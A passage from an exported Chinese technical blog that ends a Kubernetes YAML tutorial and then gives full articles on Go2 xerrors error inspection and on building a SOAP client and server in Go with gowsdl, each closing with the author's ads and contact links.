LastSeen Count From SubobjectPath Type Reason Message --------- -------- ----- ---- ------------- -------- ------ ------- 46s 46s 1 {deployment-controller } Normal ScalingReplicaSet Scaled up replica set rss-site-4056856218 to 2 正如你在这里看到的，没有问题，它还没有完成扩展(scale)。再过几秒钟，我们可以看到两个Pod都在运行：\n\u0026gt; kubectl get deployments NAME DESIRED CURRENT UP-TO-DATE AVAILABLE AGE rss-site 2 2 2 2 1m 到这里我们得到了什么 好的，让我们回顾一下。我们基本上涵盖了三个主题：\nYAML是一种人类可读的基于文本的格式，通过使用键值对的map和list（以及相互嵌套）的组合，您可以轻松指定配置类型信息。 YAML是使用Kubernetes对象最方便的方法，在本文中我们研究了创建Pod和Deployments。 通过要求Kubernetes 描述(describe)它们，您可以获得有关运行（或应该运行）对象的更多信息。 这是我们的基本YAML教程。我们将在未来几个月内处理大量与Kubernetes相关的内容，因此，如果您想了解具体内容，请在评论中告知我们，或在@MirantisIT上发推特。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/02/25/introduction-to-yaml-creating-a-kubernetes-deployment/","summary":"\u003cp\u003e\u003ca href=\"https://yaml.org/\"\u003eYAML\u003c/a\u003e语言似乎已经成为了事实标准的“云配置”语言，无论是容器事实标准\u003ca href=\"https://tonybai.com/tag/docker\"\u003edocker\u003c/a\u003e(主要是\u003ca href=\"https://docs.docker.com/compose/\"\u003edocker-compose\u003c/a\u003e使用)、SDN，还是容器编排王者\u003ca href=\"https://tonybai.com/tag/kubernetes\"\u003ekubernetes\u003c/a\u003e，又或是虚拟机时代的王者\u003ca href=\"https://www.openstack.org/\"\u003eopenstack\u003c/a\u003e采用的配置文件都是\u003ca href=\"https://yaml.org/refcard.html\"\u003eyaml文件格式\u003c/a\u003e。不过需要承认的是我个人最初刚接触yaml时还不是很适应（个人更适应json），在后续运维kubernetes时，每每都要去参考k8s doc中的各种k8s对象的模板才能把yaml文件写“正确”。本文是一篇译文，这篇文章很好地讲解了yaml语言的语法格式，并用kubernetes deployment配置来作为示例。至少我看完这篇文章后是受益多多，因此这里将该文章快速翻译出来，供广大的k8s爱好者、实践者参考。\u003c/p\u003e","title":"YAML入门：以创建一个Kubernetes deployment为例"},{"content":"这几年关于Go语言未来演化的讨论成为了Gopher世界的热点，Go team官方对于Go语言的演化(以Go2为标签)也是十分上心，但吸取了其他语言，比如：Python3割裂社区的、不兼容演化的教训，Go team最终选择了一条尽可能地兼容Go1、稳健、平滑的演化之路，并逐渐开始落地。Go 1.11的Go modules是Go team开启Go2演化进程的标志性事件。随着“Go 2 Draft Design”的发布，Go team正在努力着手解决Go社区反响较为强烈的Error handling、Error values和Generics（泛型）这三个问题。从目前的进展上来看，Go error value相关机制的改善近期率先在以Proposal形式出现，并给出了待社区反馈的参考实现(golang.org/x/exp/xerrors)，并很可能是继Go module之后第二个落地的Go2 特性。在本文中，我们就和大家一起来前瞻性探索一下Go2 error inspection及其参考实现。\n一. Go2要解决关于Error的哪些问题 从全局角度，Go亟需解决的关于Error的问题包含两个大的方面，一个是Error handling机制，即尝试解决代码中大量重复出现下面代码的问题：\nif err != nil { .... .... } 第二个要解决的就是有关测试error变量值，并根据error变量值来选择后续代码执行路线的问题（面向机器），同时也要解决如何将error信息更完整、更全面地呈现给人的问题（面向人）。\n关于error handling，draft引入了handle和check的新设计机制，该draft目前还在discuss之中；而第二个问题的解决正如我们前面提到的，已经率先成为Proposal并给出了参考实现，也是我们在本文中要重点探讨的内容。\nGo error最初被创新地设计为一个interface：\ntype error interface { Error() string } 这种设计是符合OCP(open-close principle)的，但是由于在error value test方面相对模糊且在标准库中缺少统一机制，导致gopher们在使用error时体验并不好。这里我们先来回顾一下在这之前我们是如何测试error变量值的。\n1. 与预先定义好的知名error变量进行值相等测试 （以下称方法1）\n如下面例子中，我们通过将ReadByte调用返回的err与io包中预定义的error变量: EOF(var EOF = errors.New(“EOF”))进行值测试，并根据测试结果选择接下来的代码执行路线：\nfunc main() { reader := strings.NewReader(\u0026quot;string reader buffer demo\u0026quot;) for { s, err := reader.ReadByte() if err == io.EOF { fmt.Println(\u0026quot;end\u0026quot;) return } else if err != nil { fmt.Println(err) return } fmt.Printf(\u0026quot;%c\\n\u0026quot;, s) } } 对于预先已经定义的error变量，这样的error test方法是非常自然的，多数程序员从学习C语言那个时候就已经熟知该方法了。但是这种方法的局限就在于“扩展不足”。这些预定义好的error变量要么在标准库中，要么在依赖的第三方包中，我们只能使用这么多且这些变量所携带的信息有限。如果包中没有预定义或是想让这些变量携带更多对程序员有益的错误信息，我们就还得用其他办法来做error变量的值测试和扩展定义。\n**2. 使用type assertion和type switch来测试是否是某种error的实现 **\n标准库中net包中OpError的一些method中就采用了这种方式：\n// $GOROOT/src/net/net.go func (e *OpError) Timeout() bool { if ne, ok := e.Err.(*os.SyscallError); ok { t, ok := ne.Err.(timeout) return ok \u0026amp;\u0026amp; t.Timeout() } t, ok := e.Err.(timeout) return ok \u0026amp;\u0026amp; t.Timeout() } 一些包还提供了一些专用方法来测试判定特定的error实现类型，比如：os包提供的IsNotExist、IsPermission等方法。不过这些方法在实现层面也都是使用的type assertion。\n**3. 通过字符串匹配 **\n由于缺少标准的、统一的error变量的值测试方法，尤其是针对重新wrapped的error变量(加上自己了的context信息，隐藏了underlying的error变量类型信息)，在上述两种方法都无法使用的情况下，基于error变量Error()方法返回的string进行字符串匹配来进行error变量测试的手段成为了广大Gopher最后的“救命稻草”，但是这种方法也是最为“丑陋”的，是Go team最不希望gopher们使用的。\n// 一个demo，现实中可能不存在这样的逻辑 func writeTxtFile(path string, content string) error { f, err := os.OpenFile(\u0026quot;notes.txt\u0026quot;, os.O_RDWR, 0755) if err != nil { return fmt.Errorf(\u0026quot;open txt file: %s failed, reason: %s\u0026quot;, path, err.Error()) } defer f.Close() // ... write something _, err = f.Write([]byte(content)) if err != nil { return fmt.Errorf(\u0026quot;write to txt file: %s failed, reason: %s\u0026quot;, path, err.Error()) } return nil } func main() { err := writeTxtFile(\u0026quot;./notes.txt\u0026quot;, \u0026quot;write txt test\u0026quot;) if err != nil { s := err.Error() if strings.Contains(s, \u0026quot;open txt file\u0026quot;) { fmt.Println(\u0026quot;open txt file error:\u0026quot;, s) //但是我们仍然无法根据打开txt文件的具体原因类型(比如权限、还是文件不存在)做出相应的动作 return } if strings.Contains(s, \u0026quot;write to txt file\u0026quot;) { fmt.Println(\u0026quot;write txt file error:\u0026quot;, s) return } } } 归根结底，fmt.Errorf提供的error wrap功能将最原始的error信息隐藏了起来，使得我们没有办法通过方法1或2来对wrapped的error变量进行值测试。这也是go2 error新方案要解决的问题。\n二. xerrors的使用 下面我们来结合一下参考实现golang.org/x/exp/xerrors来看看该proposal是如何解决上述问题的。\n1. wrapping error变量的创建 从前面的问题描述，我们知道Go2亟需提供一种简单的、标准的包裹(wrap)其他error变量并生成新error变量的方法，生成的新error变量中将包含被wrapped的error变量的信息：\nxerrors通过Errorf来提供这个功能。下面是参考上图函数调用和error变量包裹关系的一个Demo：\n//github.com/bigwhite/experiments/xerrors/wrapper/wrapper1.go func function4() error { return xerrors.New(\u0026quot;original_error\u0026quot;) } func function3() error { err := function4() if err != nil { return xerrors.Errorf(\u0026quot;wrap3: %w\u0026quot;, err) } return nil } func function2() error { err := function3() if err != nil { return xerrors.Errorf(\u0026quot;wrap2: %w\u0026quot;, err) } return nil } func function1() error { err := function2() if err != nil { return xerrors.Errorf(\u0026quot;wrap1: %w\u0026quot;, err) } return nil } func main() { err := function1() if err != nil { fmt.Printf(\u0026quot;%v\\n\u0026quot;, err) return } fmt.Printf(\u0026quot;ok\\n\u0026quot;) } 通过xerror.Errorf对已知error变量进行包裹后，返回的error变量所归属的类型实现了error、xerrors.Formatter和xerrors.Wrapper接口，携带了被包裹(wrap)变量的信息，而传统的通过fmt.Errorf生成的error变量仅仅实现了error接口，没有被包裹的error变量的任何信息。这些携带的信息将在后续error变量值测试时(Is和As)以及error变量信息展示时被充分利用。\n我们运行一下上面的demo(默认得到单行的错误信息输出)：\n$go run wrapper1.go wrap1: wrap2: wrap3: original_error 如果使用”+v%”输出error信息，我们将得到下面输出(多行)：\n$go run wrapper1.go wrap1: main.function1 /Users/tony/go/src/github.com/bigwhite/experiments/xerrors/wrapper/wrapper1.go:32 - wrap2: main.function2 /Users/tony/go/src/github.com/bigwhite/experiments/xerrors/wrapper/wrapper1.go:24 - wrap3: main.function3 /Users/tony/go/src/github.com/bigwhite/experiments/xerrors/wrapper/wrapper1.go:16 - original_error: main.function4 /Users/tony/go/src/github.com/bigwhite/experiments/xerrors/wrapper/wrapper1.go:10 我们看到”+v%”还输出每个错误变量生成时的位置信息，这是因为xerrors.Errorf生成的变量类型:wrapError中携带了“位置信息(frame Frame)”：\n// golang.org/x/exp/xerrors/fmt.go type wrapError struct { msg string err error frame Frame } 上面的demo仅是为了演示通过xerrors.Errorf wrap的error variable携带了error chain的信息，并可以输出这些信息。下面我们来看看在函数调用的外部，如何对wrapped error variable进行各种值test。\n2. error value test 对应上面提到方法1(等值测试)和方法2(type断言的类型测试)，xerrors提供了对应的Is和As方法，这两个方法最大的不同就是可以针对wrapped error变量，在变量的error chain上做逐个进行测试，只要某个chain上的error变量满足要求，则返回true。我们分别来看看！\nIs方法 xerrors的Is方法原型如下：\nfunc Is(err, target error) bool Is会将target与err中的error chain上的每个error 信息进行等值比较，如果相同，则返回true。我们用下面这幅图来诠释一下其原理:\n对应的测试代码见下面：\n// github.com/bigwhite/experiments/xerrors/errortest/errortest1.go func main() { err1 := xerrors.New(\u0026quot;1\u0026quot;) err2 := xerrors.Errorf(\u0026quot;wrap 2: %w\u0026quot;, err1) err3 := xerrors.Errorf(\u0026quot;wrap 3: %w\u0026quot;, err2) erra := xerrors.New(\u0026quot;a\u0026quot;) b := xerrors.Is(err3, err1) fmt.Println(\u0026quot;err3 is err1? -\u0026gt; \u0026quot;, b) b = xerrors.Is(err2, err1) fmt.Println(\u0026quot;err2 is err1? -\u0026gt; \u0026quot;, b) b = xerrors.Is(err3, err2) fmt.Println(\u0026quot;err3 is err2? -\u0026gt; \u0026quot;, b) b = xerrors.Is(erra, err1) fmt.Println(\u0026quot;erra is err1? -\u0026gt; \u0026quot;, b) } 运行结果： err3 is err1? -\u0026gt; true err2 is err1? -\u0026gt; true err3 is err2? -\u0026gt; true erra is err1? -\u0026gt; false As方法 Is方法是在error chain上做值测试。有些时候我们更方便做类型测试，即某一个err是否是某error类型。xerror提供了As方法：\nfunc As(err error, target interface{}) bool As会将err中的error chain上的每个error type与target的类型做匹配，如果相同，则返回true，并且将匹配的那个error var的地址赋值给target，相当于通过As的target将error chain中类型匹配的那个error变量析出。我们也用下面这幅图来诠释一下其原理:\n对应的测试代码见下面：\n// github.com/bigwhite/experiments/xerrors/errortest/errortest2.go type MyError struct{} func (MyError) Error() string { return \u0026quot;MyError\u0026quot; } func main() { err1 := MyError{} err2 := xerrors.Errorf(\u0026quot;wrap 2: %w\u0026quot;, err1) err3 := xerrors.Errorf(\u0026quot;wrap 3: %w\u0026quot;, err2) var err MyError b := xerrors.As(err3, \u0026amp;err) fmt.Println(\u0026quot;err3 as MyError? -\u0026gt; \u0026quot;, b) fmt.Println(\u0026quot;err is err1? -\u0026gt; \u0026quot;, xerrors.Is(err, err1)) err4 := xerrors.Opaque(err3) b = xerrors.As(err4, \u0026amp;err) fmt.Println(\u0026quot;err4 as MyError? -\u0026gt; \u0026quot;, b) b = xerrors.Is(err4, err3) fmt.Println(\u0026quot;err4 is err3? -\u0026gt; \u0026quot;, b) } 运行结果: err3 as MyError? -\u0026gt; true err is err1? -\u0026gt; true err4 as MyError? -\u0026gt; false err4 is err3? -\u0026gt; false 我们看到As方法从err3的error chain中匹配到MyError类型的err1，并将err1赋值给err变量析出。在后续的Is测试也证实了这一点。代码中还调用了xerrors的Opaque方法，该方法将传入的支持unwrap操作的error变量转换为一个不支持unwrap的类型的error变量。在最后的对err4（通过Opaque调用得到)的测试我们也可以看到：err4无法匹配MyError type，与err3的等值测试也返回false。\n三. 小结 以上就是xerrors提供的有关Go2 error inspection机制的主要功能。注意：xerrors及其proposal仍然可能会变动(包括设计和具体的实现)，因此这里不能保证本文demo示例在后续的版本中依然可以编译运行。本文中的示例代码可以在这里得到。\n目前go官方的golang.org/x/exp repo中有两个版本的实现：golang.org/x/exp/errors和golang.org/x/exp/xerrors。差别在于前者没有提供errors.Errorf。如果我们将wrapper1.go中的xerrors换成golang.org/x/exp/errors，则会在编译的时候出现下面错误：\n$go run wrapper1.go go: finding golang.org/x/exp/errors latest go: downloading golang.org/x/exp/errors v0.0.0-20190125153040-c74c464bbbf2 # command-line-arguments ./wrapper.go:15:10: undefined: errors.Errorf ./wrapper.go:16:10: undefined: errors.Errorf ./wrapper.go:27:10: undefined: errors.Errorf ./wrapper.go:28:10: undefined: errors.Errorf 从官方的说明情况来看，golang.org/x/exp/errors将来要么进化到golang.org/x/errors，并作为Go标准库的vendor(类似于http/2) 包；要么直接merge到Go标准库中，然后该库作废（类似于vgo)。无论哪种形式，errors在merge后，会由fmt.Errorf来提供xerrors.Errorf的功能。\n而golang.org/x/exp/xerrors则是可以用于任何版本的。\n目前Go team给出的初步计划是在Go 1.13 dev cycle中将该Go 2 error inspection机制加入到main branch，并就像当年的http/2、vgo一样期待Gopher社区对该机制的反馈、然后优化，直到成熟并被广大Gopher所接受。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我要发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/01/27/perspective-study-on-go2-error-inspection/","summary":"\u003cp\u003e这几年关于\u003ca href=\"https://blog.golang.org/toward-go2\"\u003eGo语言未来演化\u003c/a\u003e的讨论成为了Gopher世界的热点，Go team官方对于\u003ca href=\"https://tonybai.com/2018/11/12/go-opensource-9-years/\"\u003eGo语言\u003c/a\u003e的演化(以Go2为标签)也是十分上心，但吸取了其他语言，比如：\u003ca href=\"https://www.python.org/\"\u003ePython3\u003c/a\u003e割裂社区的、不兼容演化的教训，Go team最终选择了一条\u003ca href=\"https://blog.golang.org/go2-here-we-come\"\u003e尽可能地兼容Go1、稳健、平滑的演化之路\u003c/a\u003e，并逐渐开始落地。\u003ca href=\"https://tonybai.com/2018/11/19/some-changes-in-go-1-11/\"\u003eGo 1.11\u003c/a\u003e的\u003ca href=\"https://tonybai.com/2018/07/15/hello-go-module/\"\u003eGo modules\u003c/a\u003e是Go team开启\u003cstrong\u003eGo2\u003c/strong\u003e演化进程的标志性事件。随着\u003ca href=\"https://blog.golang.org/go2draft\"\u003e“Go 2 Draft Design”\u003c/a\u003e的\u003ca href=\"https://github.com/golang/proposal/blob/master/design/go2draft.md\"\u003e发布\u003c/a\u003e，Go team正在努力着手解决Go社区反响较为强烈的\u003ca href=\"https://github.com/golang/proposal/blob/master/design/go2draft-error-handling-overview.md\"\u003eError handling\u003c/a\u003e、\u003ca href=\"https://github.com/golang/proposal/blob/master/design/go2draft-error-values-overview.md\"\u003eError values\u003c/a\u003e和\u003ca href=\"https://github.com/golang/proposal/blob/master/design/go2draft-generics-overview.md\"\u003eGenerics（泛型）\u003c/a\u003e这三个问题。从目前的进展上来看，Go error value相关机制的改善近期率先在以\u003ca href=\"https://github.com/golang/proposal/blob/master/design/29934-error-values.md\"\u003eProposal形式\u003c/a\u003e出现，并给出了待社区反馈的\u003ca href=\"https://github.com/golang/exp/tree/master/xerrors\"\u003e参考实现(golang.org/x/exp/xerrors)\u003c/a\u003e，并很可能是继Go module之后第二个落地的Go2 特性。在本文中，我们就和大家一起来前瞻性探索一下Go2 error inspection及其参考实现。\u003c/p\u003e","title":"Go2 Error Inspection前瞻"},{"content":"在REST和RPC大行其道的今天，支持SOAP（简答对象访问协议）作为Web服务消息交换协议的情况是越来越少了。但在一些遗留系统中，尤其是采用微软技术栈的服务系统中，SOAP依然占有一席之地，比如在一些医院院内的IT系统中。\nGo语言诞生后，主流的Web Service设计已经开始过渡到REST和RPC，Go相关开源项目也以对REST和RPC的支持为主。而对SOAP的支持则少而零散，社区里也没有对SOAP支持的重量级开源项目，在awesome go的各种list中也难觅有关SOAP的推荐项目的身影。\n但Gopher世界还是有以client身份与SOAP service交互或是实现SOAP server的需求的。在这篇文章中，我就和大家一起来探索一下如何基于一些开源项目，使用Go实现SOAP client和SOAP Server的。\n一. SOAP简介 如果你觉得SOAP这个协议很陌生也不奇怪，因为SOAP协议诞生于“遥远”的1998年，2000年才提交到标准化组织。SOAP是一种消息传递协议规范，用于在计算机网络的Web服务中实现交换结构化信息。其目的是促进可扩展性、中立性和独立性。它使用XML作为承载消息的格式，并依赖于应用层协议，通常是HTTP或SMTP（简单邮件传输协议），用于消息协商和传输。经过若干年的演进，其主要binding的协议是http，其支持SMTP Binding已经极少有应用了。现在，我们可以不严谨的说，SOAP可以理解为**“xml over http”**。并且从SOAP Body的形式来看，SOAP也像是一种使用XML作为序列化编码格式的RPC调用。\nSOAP目前存在两个版本：1.1和1.2版本。一些比较old的SOAP服务仅支持1.1版本，而一些新的SOAP服务则两个版本都支持。\n下面是SOAP协议的通用结构：\n基于这个结构，我们看看SOAP(over http)的Request和Response的样子：\n关于SOAP协议的更多细节，可以参见SOAP协议规范，这里限于篇幅就不细说了。\n二. 环境准备 本文中使用的Go语言版本为go 1.11.2。\n1. 获取wsdl文件 现在在互联网上要找到一个面向公共的、免费的SOAP服务着实困难。free-web-services.com上的很多服务已经不提供SOAP服务了，并且多数提供SOAP的服务也已经打不开页面了。在本文中，我们将使用www.dneonline.com/calculator.asmx这个calculator服务，至少目前它还是ready的（不过也不保证它在将来能一直ready）。\n我们可以通过下面命令获得这个calculator服务的WSDL文件。\n$cd /Users/tony/go/src/github.com/bigwhite/experiments/go-soap/pkg $curl http://www.dneonline.com/calculator.asmx\\?WSDL \u0026gt; calculator.wsdl $cat calculator.wsdl \u0026lt;?xml version=\u0026quot;1.0\u0026quot; encoding=\u0026quot;utf-8\u0026quot;?\u0026gt; \u0026lt;wsdl:definitions xmlns:soap=\u0026quot;http://schemas.xmlsoap.org/wsdl/soap/\u0026quot; xmlns:tm=\u0026quot;http://microsoft.com/wsdl/mime/textMatching/\u0026quot; xmlns:soapenc=\u0026quot;http://schemas.xmlsoap.org/soap/encoding/\u0026quot; xmlns:mime=\u0026quot;http://schemas.xmlsoap.org/wsdl/mime/\u0026quot; xmlns:tns=\u0026quot;http://tempuri.org/\u0026quot; xmlns:s=\u0026quot;http://www.w3.org/2001/XMLSchema\u0026quot; xmlns:soap12=\u0026quot;http://schemas.xmlsoap.org/wsdl/soap12/\u0026quot; xmlns:http=\u0026quot;http://schemas.xmlsoap.org/wsdl/http/\u0026quot; targetNamespace=\u0026quot;http://tempuri.org/\u0026quot; xmlns:wsdl=\u0026quot;http://schemas.xmlsoap.org/wsdl/\u0026quot;\u0026gt; ... ... \u0026lt;wsdl:service name=\u0026quot;Calculator\u0026quot;\u0026gt; \u0026lt;wsdl:port name=\u0026quot;CalculatorSoap\u0026quot; binding=\u0026quot;tns:CalculatorSoap\u0026quot;\u0026gt; \u0026lt;soap:address location=\u0026quot;http://www.dneonline.com/calculator.asmx\u0026quot; /\u0026gt; \u0026lt;/wsdl:port\u0026gt; \u0026lt;wsdl:port name=\u0026quot;CalculatorSoap12\u0026quot; binding=\u0026quot;tns:CalculatorSoap12\u0026quot;\u0026gt; \u0026lt;soap12:address location=\u0026quot;http://www.dneonline.com/calculator.asmx\u0026quot; /\u0026gt; \u0026lt;/wsdl:port\u0026gt; \u0026lt;/wsdl:service\u0026gt; \u0026lt;/wsdl:definitions\u0026gt; 这个calculator.wsdl是后续实现soap client和soap server的基础。\n2. 根据wsdl文件生成SOAP package 虽然Go语言标准库中拥有比较完善的XML操作package，但是我们也没有必要从头开始进行SOAP协议的封装和解包。github上面的gowsdl项目可以帮助我们基于calculator.wsdl自动生成实现SOAP Client和SOAP Server所要使用的各种方法和结构体，这也是我们后续实现SOAP Client和SOAP Server的基本原理。\n$go get github.com/hooklift/gowsdl/... $gowsdl -i calculator.wsdl Reading file /Users/tony/go/src/github.com/bigwhite/experiments/go-soap/pkg/calculator.wsdl Done $tree . ├── calculator.wsdl └── myservice └── myservice.go 1 directory, 2 files gowsdl根据calculator.wsdl生成了myservice.go，所有有关calculator soap service的结构体和方法都在这个Go源文件中。有了这个package，我们就可以来实现soap客户端了。\n三. 实现SOAP客户端 我们实现一个SOAP客户端，用于调用www.dneonline.com/calculator服务中提供的Add方法来进行加法计算。\n我们先在$GOPATH/src/github.com/bigwhite/experiments/go-soap下面建立client目录，进入client目录，创建client的main.go文件。\n在前面根据calculator.wsdl生成的myservice.go文件中，我们找到了NewCalculatorSoap方法，该方法会返回一个到对应服务的client实例，通过该soap client实例，我们可以调用其包含的Add方法，我们来看一下main.go中的代码实现：\npackage main import ( \u0026quot;fmt\u0026quot; soap \u0026quot;github.com/bigwhite/experiments/go-soap/pkg/myservice\u0026quot; ) func main() { c := soap.NewCalculatorSoap(\u0026quot;\u0026quot;, false, nil) r, err := c.Add(\u0026amp;soap.Add{ IntA: 2, IntB: 3, }) if err != nil { fmt.Println(err) return } fmt.Println(r.AddResult) } Add方法的参数为soap.Add结构体的实例，Add结构有两个字段IntA和IntB，分别代表了两个加数。我们来执行一下该client实现：\n$go run main.go 2019/01/08 12:54:31 \u0026lt;Envelope xmlns=\u0026quot;http://schemas.xmlsoap.org/soap/envelope/\u0026quot;\u0026gt;\u0026lt;Body xmlns=\u0026quot;http://schemas.xmlsoap.org/soap/envelope/\u0026quot;\u0026gt;\u0026lt;Add xmlns=\u0026quot;http://tempuri.org/\u0026quot;\u0026gt;\u0026lt;intA\u0026gt;2\u0026lt;/intA\u0026gt;\u0026lt;intB\u0026gt;3\u0026lt;/intB\u0026gt;\u0026lt;/Add\u0026gt;\u0026lt;/Body\u0026gt;\u0026lt;/Envelope\u0026gt; 2019/01/08 12:54:31 \u0026lt;?xml version=\u0026quot;1.0\u0026quot; encoding=\u0026quot;utf-8\u0026quot;?\u0026gt;\u0026lt;soap:Envelope xmlns:soap=\u0026quot;http://schemas.xmlsoap.org/soap/envelope/\u0026quot; xmlns:xsi=\u0026quot;http://www.w3.org/2001/XMLSchema-instance\u0026quot; xmlns:xsd=\u0026quot;http://www.w3.org/2001/XMLSchema\u0026quot;\u0026gt;\u0026lt;soap:Body\u0026gt;\u0026lt;AddResponse xmlns=\u0026quot;http://tempuri.org/\u0026quot;\u0026gt;\u0026lt;AddResult\u0026gt;5\u0026lt;/AddResult\u0026gt;\u0026lt;/AddResponse\u0026gt;\u0026lt;/soap:Body\u0026gt;\u0026lt;/soap:Envelope\u0026gt; 5 我们看到client输出了加法服务调用后的正确结果：5。\n四. 实现SOAP服务 下面我们再来实现一个类似www.dneonline.com/calculator的服务，由于只是demo，我们只实现Add方法，其他方法的“套路”是一样的。\n我们在$GOPATH/src/github.com/bigwhite/experiments/go-soap下面建立server目录，进入server目录，创建server的main.go文件。pkg/myservice/myservice.go中只是SOAP层协议数据负荷的marshal和unmarshal操作，并没有网络层面的支持，因此我们需要自己建立http server框架，我们就使用Go标准库http server。代码结构如下：\npackage main import ( \u0026quot;encoding/xml\u0026quot; \u0026quot;fmt\u0026quot; \u0026quot;io/ioutil\u0026quot; \u0026quot;log\u0026quot; \u0026quot;net/http\u0026quot; \u0026quot;regexp\u0026quot; soap \u0026quot;github.com/bigwhite/experiments/go-soap/pkg/myservice\u0026quot; ) func main() { s := NewSOAPServer(\u0026quot;localhost:8080\u0026quot;) log.Fatal(s.ListenAndServe()) } func NewSOAPMux() *http.ServeMux { mux := http.NewServeMux() mux.HandleFunc(\u0026quot;/\u0026quot;, soapHandler) return mux } func NewSOAPServer(addr string) *http.Server { mux := NewSOAPMux() server := \u0026amp;http.Server{ Handler: mux, Addr: addr, } return server } func soapHandler(w http.ResponseWriter, r *http.Request) { ... ... } 这个SOAP server的外层结构与普通http server并无太多差异。我们重点要关注的是soapHandler的实现逻辑。\nfunc soapHandler(w http.ResponseWriter, r *http.Request) { rawBody, err := ioutil.ReadAll(r.Body) if err != nil { w.WriteHeader(http.StatusInternalServerError) return } // match method var res interface{} m := regexp.MustCompile(`\u0026lt;Add xmlns=`) if m.MatchString(string(rawBody)) { res = processAdd(rawBody) } else { res = nil fmt.Println(\u0026quot;the method requested is not available\u0026quot;) } v := soap.SOAPEnvelope{ Body: soap.SOAPBody{ Content: res, }, } w.Header().Set(\u0026quot;Content-Type\u0026quot;, \u0026quot;text/xml\u0026quot;) x, err := xml.MarshalIndent(v, \u0026quot;\u0026quot;, \u0026quot; \u0026quot;) if err != nil { w.WriteHeader(http.StatusInternalServerError) return } w.WriteHeader(http.StatusOK) w.Write(x) return } 我们看到：\n首先，我们从http body中读取出原始数据；\n接下来，我们通过一个正则表达式去匹配原始数据，如果匹配到方法，则进入方法的处理函数processAdd；否则提示方法不存在；\n最后将processAdd的返回结果marshall为SOAP格式后，返回给client端。\nprocessAdd是真正执行服务算法的函数：\nfunc processAdd(body []byte) *soap.AddResponse { envlop := \u0026amp;soap.SOAPEnvelope{ Body: soap.SOAPBody{ Content: \u0026amp;soap.Add{}, }, } err := xml.Unmarshal(body, envlop) if err != nil { fmt.Println(\u0026quot;xml Unmarshal error:\u0026quot;, err) return nil } fmt.Println(envlop.Body.Content) r, ok := envlop.Body.Content.(*soap.Add) if !ok { return nil } else { return \u0026amp;soap.AddResponse{ AddResult: r.IntA + r.IntB, } } } processAdd首先将rawBody unmarshal到一个SOAPEnvelope结构体中，从而得到SOAP envelope中Body中的方法的输入参数的值：IntA和IntB。将两个加数的和赋值给AddResult，作为AddResponse的值返回。\n我们启动一下该SOAP server，并修改一下前面client所要连接的soap server的地址，并让client向我们自己实现的soap server发起服务请求调用：\n1.修改client main.go $GOPATH/src/github.com/bigwhite/experiments/go-soap/client/main.go //c := soap.NewCalculatorSoap(\u0026quot;\u0026quot;, false, nil) c := soap.NewCalculatorSoap(\u0026quot;http://localhost:8080/\u0026quot;, false, nil) 2.启动soap server $GOPATH/src/github.com/bigwhite/experiments/go-soap/server git:(master) ✗ $go run main.go 3. 启动client $go run main.go 2019/01/08 14:55:20 \u0026lt;Envelope xmlns=\u0026quot;http://schemas.xmlsoap.org/soap/envelope/\u0026quot;\u0026gt;\u0026lt;Body xmlns=\u0026quot;http://schemas.xmlsoap.org/soap/envelope/\u0026quot;\u0026gt;\u0026lt;Add xmlns=\u0026quot;http://tempuri.org/\u0026quot;\u0026gt;\u0026lt;intA\u0026gt;2\u0026lt;/intA\u0026gt;\u0026lt;intB\u0026gt;3\u0026lt;/intB\u0026gt;\u0026lt;/Add\u0026gt;\u0026lt;/Body\u0026gt;\u0026lt;/Envelope\u0026gt; 2019/01/08 14:55:20 \u0026lt;Envelope xmlns=\u0026quot;http://schemas.xmlsoap.org/soap/envelope/\u0026quot;\u0026gt; \u0026lt;Body xmlns=\u0026quot;http://schemas.xmlsoap.org/soap/envelope/\u0026quot;\u0026gt; \u0026lt;AddResponse xmlns=\u0026quot;http://tempuri.org/\u0026quot;\u0026gt; \u0026lt;AddResult\u0026gt;5\u0026lt;/AddResult\u0026gt; \u0026lt;/AddResponse\u0026gt; \u0026lt;/Body\u0026gt; \u0026lt;/Envelope\u0026gt; 5 4. server console输出 \u0026amp;{{http://tempuri.org/ Add} 2 3} 我们看到，我们的client成功调用了我们实现的SOAP Server的服务方法，并获得了正确的结果。一个简单的SOAP server就这么实现了。不过明眼的朋友肯定已经看出代码中的问题了，那就是method match那块仅仅适用于demo，在真正的服务中，服务会有很多method，我们需要一种规范的、通用的匹配机制，一种可以通过SOAP Body匹配来做，另一种可以通过http header中的SOAP Action 来匹配（仅适用于SOAP 1.1，SOAP 1.2版本去掉了SOAP Action)。这里就留给大家自己去发挥吧。\n五. 小结 